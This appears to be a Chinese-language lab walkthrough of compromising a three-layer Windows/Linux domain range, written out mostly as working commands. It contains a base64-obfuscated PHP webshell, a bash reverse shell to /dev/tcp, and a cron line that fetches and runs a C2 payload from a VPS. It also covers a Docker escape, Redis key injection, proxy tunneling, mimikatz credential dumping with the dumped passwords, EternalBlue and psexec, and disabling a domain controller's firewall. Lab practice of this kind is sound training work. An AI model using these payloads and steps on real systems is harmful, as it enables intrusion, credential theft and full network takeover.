环境配置
三层网络域渗透靶场
外网打点
首先拿到目标 pentest.com
直接访问发现站点是个博客站点
进一步发现并没有可利用点
信息收集
利用工具进行端口扫描
域名解析IP 10.20.29.87
发现还开放了81、6379端口
先访问81端口查看开放的是什么站点
http://pentest.com:81/ Laravel v8.29.0 (PHP v7.4.14)
通过版本可以得知是存在漏洞的版本
Laravel v8.29.0
Laravel RCE GetShell
Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129)
利用 CVE-2021-3129 漏洞进行getshell
蚁剑马
<?php $ant=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJhbnQiXSk7'));$ant();?>
利用写好的工具一键getshell
WebShell: http://pentest.com:81/havefun.php pass: ant
首先,判断当前环境及权限
从主机信息 Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64
可以看出一些特殊,判断是否是在容器中
- 查看
hostname
- 看根目录是否存在特征文件
cat /proc/self/cgroup
(www-data:/var/www/html) $ hostname
8e172820ac78
从而判断该目标存在docker容器中
Docker逃逸
可以利用Docker runC漏洞逃逸 攻击脚本: https://github.com/Frichetten/CVE-2019-5736-PoC
下面需要通过逃逸来获取宿主机的权限,当前用户权限较低
所有现在docker中尝试提权
通过命令来搜索具有SUID或4000权限的文件:
find / -perm -u=s -type f 2>/dev/null
在/home/jobs目录下,存在一个权限是我们需要的文件 shell
尝试执行shell
结合c文件来看,shell执行的应该是ps
命令,从代码中也可以看出执行的ps
,并没有使用绝对路径,那么就可以通过修改 $PATH
来劫持 ps
命令的路径,看下面操作:
路径劫持
先反弹shell到攻击机上
bash -c "bash -i >& /dev/tcp/10.20.29.77/8443 0>&1"
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
# 然后就获得了root权限,可以执行命令了
测试过程中反弹shell出现了问题,这里借助冰蝎的虚拟终端进行添加环境变量
(后面发现是环境的自动获取的IP问题,无法ping通外网,补充)
通过这种特殊情况获取到了容器中的 root
权限
但实际情况中,遇到的不多,使用下面利用普通权限反弹回msf,进一步docker逃逸
三种形式:
- 直接反弹msf
- 反弹回msf衍生到cs中
- 直接反弹cs中
这里直接利用 c2 完成linux上线cs
接着利用Docker 特权模式逃逸
首先创建一个挂载目录 /hack
mkdir /hack
然后 ls /dev
看到/dev目录会发现很多设备文件
接着可以尝试将 /dev/sda1
挂载到/hack
目录
mount /dev/sda1 /hack
过程中出现权限问题
所以还是需要用上面提到的方式,获取到root权限,再反弹到cs上
root权限上线后,重复上述步骤进行挂载
挂载后,就可以看到 /hack
目录中已经挂载到宿主机的根目录
接下来就可以通过写定时任务来获取宿主机的权限
echo '* * * * * wget -qO c2fun --no-check-certificate http://[vps]:8080/c2pen; chmod +x c2fun; ./c2fun' >> /hack/var/spool/cron/crontabs/root
执行命令查看网卡信息
shell /sbin/ifconfig
Redis未授权RCE拿下DMZ权限
从网卡信息可以得到两个网段
192.168.80.20/24
192.168.93.10/24
并没有看到 10.20.29.87
这个地址,所以可能是使用了反向代理
在上面有收集到 10.20.29.87
这个ip还开放了 6379
端口,尝试redis未授权
存在未授权后直接写入公钥
直接连接
ssh root@10.20.29.87
反弹回CS
wget -qO c2fun --no-check-certificate http://[vps]:8080/c2pen; chmod +x c2fun; ./c2fun
通过网卡信息可以确定这台机器就是DMZ
区的主机,并且获取到了root权限
通过查看配置文件,可以确定是通过反向代理访问到第二层机器的,接下来是对第二层内网渗透
内网横向移动
因为上线是CS,内网探测不方便,可以使用socket代理,或者借助msf进行内网网段探测
(本来是想将cs会话传递到msf上,但目标机器为linux在未找到派生方法)
直接通过无文件落地的方式进行反弹到msf
信息收集
查看两个session中对应的网段
192.168.80.0/24
192.168.93.0/24
这里先对第一个网段进行探测
route add 192.168.80.0 255.255.255.0 1
route print
use auxiliary/scanner/discovery/arp_sweep
set rhosts 192.168.80.0/24
set threads 10
run
10、20的权限已经拿到了,再看看30
这里使用earthworm将内网流量代理出来,因为第第二层网络能出网,所以选择代理第二层流量
vps执行
./ew_linux_x64 -s rcsocks -l 1080 -e 7474
目标主机(第二层的主机web2)
通过cs上传 ew_linux_x64
nohup ./ew_linux_x64 -s rssocks -d [vps] -e 7474 &
kali设置代理
vim /etc/proxychains.conf
proxychains nmap -sT -sV -Pn -F -O --open 192.168.80.30
发现开放的8080
端口
给浏览器设置代理,访问页面
利用通达OA的任意用户登录+文件上传+文件包含漏洞进行RCE
内网OA getshell
https://blog.csdn.net/szgyunyun/article/details/107104288
直接使用脚本
可以执行命令,上传蚁剑马
拿下第二层权限
因为第二层可以出网,尝试利用蚁剑反弹meterpreter到msf(某些原因无法直接反弹)
目标为windows系统,直接上传木马执行,反弹cs
将CS session派生至MSF
利用MSF进行信息收集
内网信息收集
拿下第二层网络中的Windows 7服务器后,接下来我们对目标内网环境进行信息收集,对目标网络有一个初步的了解:
ipconfig /all # 查看本机ip,所在域
systeminfo # 列出系统信息
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
whoami
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net config workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "domain controllers" /domain # 查看域控制器(可能有多台)
综合上面的信息
内网域环境域名为 whoamianony.org
域用户主机可能为 DC.whoamianony.org
,且域管理员用户名可能为 Administrator
ping DC.whoamianony.org
得到域主机ip为 192.168.93.30
抓取域用户密码
通过 meterpreter
的kiwi模块进行获取用户密码
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
在执行的过程中可能会出现问题,如果返回的是 x86 的
meterpreter
而目标机器位 x64,这个时候需要将进程迁移到x64进程中
getuid
查看当前是否是最高权限
ps
看一下进程
migrate 504
进程迁移,迁移成功就能执行 kiwi
模块了
这是CS中的kiwi
模块,效果相同
这下成功抓取到了域管理用户的信息如下:
bunny:Bunny2021
Administrator:Whoami2021
进攻第三层网络
之前获取到第三层网段为 192.168.93.0/24
这里我们借助 PC1 的session进行路由代理
route add 192.168.93.0 255.255.255.0 14
route print
尝试永恒之蓝
进攻其他PC机
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 10
run
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 4444
exploit
直接拿下第四台机器 PC
最后剩下域控制器DC了
进攻域控
前面已经抓到域管理员用户名密码了,直接psexec登陆
Administrator:Whoami2021
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser Administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run
创建Session失败,可能是开了防火墙的原因,既然有了账号密码,可以直接
用 net use
命令进行 ipc
连接主机
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
使用sc远程在域制器(192.168.93.30)上创建服务关闭防火墙
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall
再重复psexec
操作
成功拿下域控权限!
到此所有的目标靶机(5台)全部拿到最高权限。
扩展
在之前的步骤有用到CS,下面用CS单独操作拿域控的流程
目前已经拿下的3台机子
执行命令 beacon> net view
查看域机器
看到有个DC服务器
先转换凭据切换到域管理员凭据
再从存在的目标中,找到DC域管理机,因为之前获取到域管理员hash得到密码,所以直接利用psexec
进行登录
上图中的监听器一个选择 windows/beacon/bind_tcp
,不然无法进行横向
如果有防火阻断,就安装上面的操作使用net use
来做,尝试关闭它的防火墙,然后再横向。
利用 PC1 这台机器去 psexec
拿下域控机器
利用同样的方法继续横向,通过域控主机控制域内的所以可控主机
至此五台主机全部拿下,加上一台docker
END
正在不断学习中......
靶场在这:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/